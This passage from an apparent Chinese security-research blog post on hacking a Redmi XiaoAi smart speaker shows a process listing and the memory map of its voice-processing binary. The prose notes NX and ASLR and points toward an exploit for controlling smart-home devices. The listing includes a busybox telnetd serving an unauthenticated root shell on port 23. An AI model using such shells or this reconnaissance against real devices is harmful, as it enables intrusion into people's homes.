<span class="mi">275</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">cfg80211</span><span class="p">]</span>
<span class="mi">319</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">kswapd0</span><span class="p">]</span>
<span class="mi">320</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">vmstat</span><span class="p">]</span>
<span class="mi">451</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">bioset</span><span class="p">]</span>
<span class="mi">452</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">nand</span><span class="p">]</span>
<span class="mi">453</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">nftld</span><span class="p">]</span>
<span class="mi">465</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">nand_rcd</span><span class="p">]</span>
<span class="mi">473</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="mi">1</span><span class="o">:</span><span class="mi">1</span><span class="p">]</span>
<span class="mi">483</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">btfwwork</span><span class="p">]</span>
<span class="mi">484</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">cfinteractive</span><span class="p">]</span>
<span class="mi">485</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">autohotplug</span><span class="p">]</span>
<span class="mi">486</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">irq</span><span class="o">/</span><span class="mi">165</span><span class="o">-</span><span class="n">sunxi</span><span class="o">-</span><span class="n">m</span><span class="p">]</span>
<span class="mi">648</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">ipv6_addrconf</span><span class="p">]</span>
<span class="mi">666</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="mi">1</span><span class="o">:</span><span class="mi">1</span><span class="n">H</span><span class="p">]</span>
<span class="mi">668</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="mi">0</span><span class="o">:</span><span class="mi">1</span><span class="n">H</span><span class="p">]</span>
<span class="mi">860</span> <span class="n">root</span> <span class="mi">972</span> <span class="n">S</span> <span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">ubusd</span>
<span class="mi">866</span> <span class="n">root</span> <span class="mi">672</span> <span class="n">S</span> <span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">askfirst</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">login</span>
<span class="mi">1249</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">krfcommd</span><span class="p">]</span>
<span class="mi">1330</span> <span class="n">root</span> <span class="mi">1312</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">dbus</span><span class="o">-</span><span class="n">daemon</span> <span class="o">--</span><span class="n">system</span>
<span class="mi">1382</span> <span class="n">root</span> <span class="mi">1412</span> <span class="n">S</span> <span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">netifd</span>
<span class="mi">1401</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">jbd2</span><span class="o">/</span><span class="n">nand0p9</span><span class="o">-</span><span class="mi">8</span><span class="p">]</span>
<span class="mi">1402</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">ext4</span><span class="o">-</span><span class="n">rsv</span><span class="o">-</span><span class="n">conver</span><span class="p">]</span>
<span class="mi">1409</span> <span class="n">root</span> <span class="mi">2600</span> <span class="n">S</span><span class="o"><</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">quickplayer</span>
<span class="mi">1418</span> <span class="n">root</span> <span class="mi">1040</span> <span class="n">S</span><span class="o"><</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">ledserver</span>
<span class="mi">1460</span> <span class="n">root</span> <span class="mi">1044</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">crond</span> <span class="o">-</span><span class="n">f</span> <span class="o">-</span><span class="n">c</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">crontabs</span> <span class="o">-</span><span class="n">l</span> <span class="mi">5</span>
<span class="mi">1478</span> <span class="n">root</span> <span class="mi">4296</span> <span class="n">S</span> <span class="p">{</span><span class="n">syslog</span><span class="o">-</span><span class="n">ng</span><span class="p">}</span> <span class="n">supervising</span> <span class="n">syslog</span><span class="o">-</span><span class="n">ng</span>
<span class="mi">1479</span> <span class="n">root</span> <span class="mi">4348</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">syslog</span><span class="o">-</span><span class="n">ng</span>
<span class="mi">1580</span> <span class="n">root</span> <span class="mi">6444</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">xiaomi_dns_server</span>
<span class="mi">1621</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">ksdioirqd</span><span class="o">/</span><span class="n">mmc0</span><span class="p">]</span>
<span class="mi">1640</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="mi">0</span><span class="o">:</span><span class="mi">2</span><span class="p">]</span>
<span class="mi">1641</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">RTW_XMIT_THREAD</span><span class="p">]</span>
<span class="mi">1642</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">RTW_CMD_THREAD</span><span class="p">]</span>
<span class="mi">1643</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">RTWHALXT</span><span class="p">]</span>
<span class="mi">1655</span> <span class="n">root</span> <span class="mi">1724</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">wpa_supplicant</span> <span class="o">-</span><span class="n">Dnl80211</span> <span class="o">-</span><span class="n">iwlan0</span> <span class="o">-</span><span class="n">c</span><span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">wifi</span><span class="o">/</span><span class="n">wpa_supplicant</span><span class="p">.</span><span class="n">conf</span> <span class="o">-</span><span class="n">s</span>
<span class="mi">1678</span> <span class="n">root</span> <span class="mi">1040</span> <span class="n">S</span> <span class="n">udhcpc</span> <span class="o">-</span><span class="n">f</span> <span class="o">-</span><span class="n">S</span> <span class="o">-</span><span class="n">s</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">simple_dhcp</span><span class="p">.</span><span class="n">sh</span> <span class="o">-</span><span class="n">R</span> <span class="o">-</span><span class="n">t</span> <span class="mi">0</span> <span class="o">-</span><span class="n">i</span> <span class="n">wlan0</span> <span class="o">-</span><span class="n">x</span> <span class="n">hostname</span><span class="o">:</span><span class="n">MiAiSoundbox</span><span class="o">-</span><span class="n">L07A</span>
<span class="mi">1699</span> <span class="n">root</span> <span class="mi">704</span> <span class="n">S</span> <span class="n">odhcp6c</span> <span class="o">-</span><span class="n">s</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">netifd</span><span class="o">/</span><span class="n">odhcp6c</span><span class="o">-</span><span class="n">script</span><span class="p">.</span><span class="n">sh</span> <span class="o">-</span><span class="n">P0</span> <span class="o">-</span><span class="n">e</span> <span class="o">-</span><span class="n">v</span> <span class="n">wlan0</span>
<span class="mi">1702</span> <span class="n">root</span> <span class="mi">1048</span> <span class="n">S</span> <span class="p">{</span><span class="n">wireless_point</span><span class="p">.}</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">wireless_point</span><span class="p">.</span><span class="n">sh</span>
<span class="mi">2672</span> <span class="n">root</span> <span class="mi">820</span> <span class="n">S</span> <span class="n">rtk_hciattach</span> <span class="o">-</span><span class="n">n</span> <span class="o">-</span><span class="n">s</span> <span class="mi">115200</span> <span class="n">ttyS1</span> <span class="n">rtk_h4</span>
<span class="mi">2724</span> <span class="n">nobody</span> <span class="mi">872</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">dnsmasq</span> <span class="o">-</span><span class="n">C</span> <span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">dnsmasq</span><span class="p">.</span><span class="n">conf</span> <span class="o">-</span><span class="n">k</span> <span class="o">-</span><span class="n">x</span> <span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">dnsmasq</span><span class="o">/</span><span class="n">dnsmasq</span><span class="p">.</span><span class="n">pid</span>
<span class="mi">2747</span> <span class="n">root</span> <span class="mi">9744</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">upnp</span><span class="o">-</span><span class="n">disc</span>
<span class="mi">2763</span> <span class="n">root</span> <span class="mi">1332</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">alarmd</span>
<span class="mi">2783</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="n">u5</span><span class="o">:</span><span class="mi">0</span><span class="p">]</span>
<span class="mi">2784</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">hci0</span><span class="p">]</span>
<span class="mi">2785</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">hci0</span><span class="p">]</span>
<span class="mi">2788</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="n">u5</span><span class="o">:</span><span class="mi">1</span><span class="p">]</span>
<span class="mi">2789</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="n">u5</span><span class="o">:</span><span class="mi">2</span><span class="p">]</span>
<span class="mi">2807</span> <span class="n">root</span> <span class="mi">3396</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">bluetoothd</span> <span class="o">-</span><span class="n">n</span>
<span class="mi">2841</span> <span class="n">root</span> <span class="mi">10072</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mediaplayer</span>
<span class="mi">2851</span> <span class="n">root</span> <span class="mi">7844</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">messagingagent</span> <span class="o">--</span><span class="n">handler_threads</span> <span class="mi">8</span>
<span class="mi">2860</span> <span class="n">root</span> <span class="mi">1024</span> <span class="n">S</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">wifitool</span>
<span class="mi">2869</span> <span class="n">root</span> <span class="mi">5212</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">statpoints_daemon</span>
<span class="mi">2875</span> <span class="n">root</span> <span class="mi">736</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">wpa_cli</span> <span class="o">-</span><span class="n">a</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">wpa_action</span><span class="p">.</span><span class="n">sh</span>
<span class="mi">3116</span> <span class="n">root</span> <span class="mi">1032</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">miio_client</span> <span class="o">-</span><span class="n">L</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">null</span>
<span class="mi">3117</span> <span class="n">root</span> <span class="mi">1092</span> <span class="n">S</span> <span class="p">{</span><span class="n">miio_client_hel</span><span class="p">}</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">miio_client_helper</span>
<span class="mi">3118</span> <span class="n">root</span> <span class="mi">1236</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">miio_service</span>
<span class="mi">3388</span> <span class="n">root</span> <span class="mi">5248</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">bluealsa</span> <span class="o">-</span><span class="n">i</span> <span class="n">hci0</span> <span class="o">-</span><span class="n">p</span> <span class="n">a2dp</span><span class="o">-</span><span class="n">sink</span>
<span class="mi">3390</span> <span class="n">root</span> <span class="mi">5936</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">bluez_mibt_classical</span>
<span class="mi">3391</span> <span class="n">root</span> <span class="mi">2628</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">bluez_mibt_ble</span>
<span class="mi">3454</span> <span class="n">root</span> <span class="mi">564</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">miio_recv_line</span>
<span class="mi">3551</span> <span class="n">mosquitt</span> <span class="mi">844</span> <span class="n">S</span> <span class="n">mosquitto</span> <span class="o">-</span><span class="n">c</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">mosquitto</span><span class="o">/</span><span class="n">mosquitto</span><span class="p">.</span><span class="n">conf</span>
<span class="mi">3573</span> <span class="n">root</span> <span class="mi">18928</span> <span class="n">S</span><span class="o"><</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mipns</span><span class="o">-</span><span class="n">horizon</span> <span class="o">-</span><span class="n">c</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">horizon</span><span class="o">/</span> <span class="o">-</span><span class="n">r</span> <span class="n">opus32</span> <span class="o">-</span><span class="n">l</span>
<span class="mi">3582</span> <span class="n">root</span> <span class="mi">960</span> <span class="n">S</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">touchpad</span>
<span class="mi">3769</span> <span class="n">root</span> <span class="mi">5636</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mibrain_service</span>
<span class="mi">3801</span> <span class="n">root</span> <span class="mi">1400</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mico_ai_crontab</span>
<span class="mi">3842</span> <span class="n">root</span> <span class="mi">1104</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mico_kid_mode</span>
<span class="mi">3851</span> <span class="n">root</span> <span class="mi">780</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">nano_httpd</span>
<span class="mi">3854</span> <span class="n">root</span> <span class="mi">5760</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">bluealsa</span><span class="o">-</span><span class="n">aplay</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span><span class="o">:</span><span class="mo">00</span><span class="o">:</span><span class="mo">00</span><span class="o">:</span><span class="mo">00</span><span class="o">:</span><span class="mo">00</span> <span class="o">-</span><span class="n">vv</span> <span class="o">-</span><span class="n">i</span> <span class="n">hci0</span> <span class="o">-</span><span class="n">d</span> <span class="k">default</span> <span class="o">--</span><span class="n">profile</span><span class="o">-</span><span class="n">a2dp</span>
<span class="mi">3873</span> <span class="n">root</span> <span class="mi">3316</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">pns_ubus_helper</span>
<span class="mi">3906</span> <span class="n">root</span> <span class="mi">3204</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mibt_mesh_proxy</span>
<span class="mi">4711</span> <span class="n">root</span> <span class="mi">1252</span> <span class="n">S</span> <span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">busybox</span> <span class="n">telnetd</span> <span class="o">-</span><span class="n">p</span> <span class="mi">23</span> <span class="o">-</span><span class="n">l</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span>
<span class="mi">4730</span> <span class="n">root</span> <span class="mi">1040</span> <span class="n">S</span> <span class="n">sleep</span> <span class="mi">10</span><span class="n">s</span>
<span class="mi">4736</span> <span class="n">root</span> <span class="mi">1040</span> <span class="n">S</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span>
<span class="mi">4759</span> <span class="n">root</span> <span class="mi">1040</span> <span class="n">R</span> <span class="n">ps</span>
</code></pre></div></div>
<p>其中比较关键的是这里的3573号mipns-xxx进程,他是处理语音交互的进程,我们喊的“小爱同学,你去死吧”,就由这个进程来处理。这个进程对应的二进制名字后面的xxx,比如这里的horizon应该表示具体的硬件型号,所以小米厂商的看到horizon应该就知道我这个示例是Redmi小爱音箱Play。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">3573</span> <span class="n">root</span> <span class="mi">18928</span> <span class="n">S</span><span class="o"><</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mipns</span><span class="o">-</span><span class="n">horizon</span> <span class="o">-</span><span class="n">c</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">horizon</span><span class="o">/</span> <span class="o">-</span><span class="n">r</span> <span class="n">opus32</span> <span class="o">-</span><span class="n">l</span>
</code></pre></div></div>
<p>我们来看看这个进程的内存布局(省略部分堆):</p>
<ul>
<li>从Pwn的防护角度上:是有NX,库有地址随机化</li>
<li>从整个业务的分析过程,以及最后的控制家居的利用的角度上:对此进程的动态链接库处理是重中之重!</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span> <span class="err">#</span> <span class="n">cat</span> <span class="o">/</span><span class="n">proc</span><span class="o">/</span><span class="mi">3573</span><span class="o">/</span><span class="n">maps</span>
<span class="mo">00010000</span><span class="o">-</span><span class="mo">0001</span><span class="mi">9000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">386</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mipns</span><span class="o">-</span><span class="n">horizon</span>
<span class="mo">0002</span><span class="mi">8000</span><span class="o">-</span><span class="mo">0002</span><span class="mi">9000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">0000</span><span class="mi">8000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">386</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mipns</span><span class="o">-</span><span class="n">horizon</span>
<span class="mo">0002</span><span class="mi">9000</span><span class="o">-</span><span class="mo">0004</span><span class="mi">8000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">0000</span><span class="mi">9000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">386</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mipns</span><span class="o">-</span><span class="n">horizon</span>
<span class="mo">01</span><span class="n">c6e000</span><span class="o">-</span><span class="mo">01</span><span class="n">df9000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00000000</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span> <span class="mi">0</span> <span class="p">[</span><span class="n">heap</span><span class="p">]</span>
<span class="p">...</span>
<span class="p">...</span>
<span class="n">b674c000</span><span class="o">-</span><span class="n">b694c000</span> <span class="n">rw</span><span class="o">-</span><span class="n">s</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mi">09</span> <span class="mi">45</span> <span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">mibrain</span><span class="o">/</span><span class="n">mibrain_asr_nlp</span><span class="p">.</span><span class="n">rcd</span>
<span class="n">b694c000</span><span class="o">-</span><span class="n">b6a43000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">264</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libstdc</span><span class="o">++</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">6</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">22</span>
<span class="n">b6a43000</span><span class="o">-</span><span class="n">b6a48000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mf">000e7000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">264</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libstdc</span><span class="o">++</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">6</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">22</span>
<span class="n">b6a48000</span><span class="o">-</span><span class="n">b6a4b000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">000</span><span class="n">ec000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">264</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libstdc</span><span class="o">++</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">6</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">22</span>
<span class="n">b6a4b000</span><span class="o">-</span><span class="n">b6a4d000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00000000</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span> <span class="mi">0</span>
<span class="n">b6a4d000</span><span class="o">-</span><span class="n">b6b55000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">985</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libmibrainsdk</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6b55000</span><span class="o">-</span><span class="n">b6b6d000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">000</span><span class="n">f8000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">985</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libmibrainsdk</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6b6d000</span><span class="o">-</span><span class="n">b6b6f000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00000000</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span> <span class="mi">0</span>
<span class="n">b6b6f000</span><span class="o">-</span><span class="n">b6b80000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">286</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libblobmsg_json</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6b80000</span><span class="o">-</span><span class="n">b6b81000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">00001000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">286</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libblobmsg_json</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6b81000</span><span class="o">-</span><span class="n">b6b82000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00002000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">286</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libblobmsg_json</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6b82000</span><span class="o">-</span><span class="n">b6b9b000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">281</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libgcc_s</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span>
<span class="n">b6b9b000</span><span class="o">-</span><span class="n">b6b9c000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">0000</span><span class="mi">9000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">281</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libgcc_s</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span>
<span class="n">b6b9c000</span><span class="o">-</span><span class="n">b6c22000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">874</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libmdspeech</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6c22000</span><span class="o">-</span><span class="n">b6c24000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00076000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">874</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libmdspeech</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6c24000</span><span class="o">-</span><span class="n">b6c25000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00000000</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span> <span class="mi">0</span>
<span class="n">b6c25000</span><span class="o">-</span><span class="n">b6c3e000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">1335</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">lib_oal_alpha</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6c3e000</span><span class="o">-</span><span class="n">b6c3f000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">0000</span><span class="mi">9000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">1335</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">lib_oal_alpha</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6c3f000</span><span class="o">-</span><span class="n">b6da0000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">872</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libvpm</span><span class="p">.</span><span class="n">so</span>
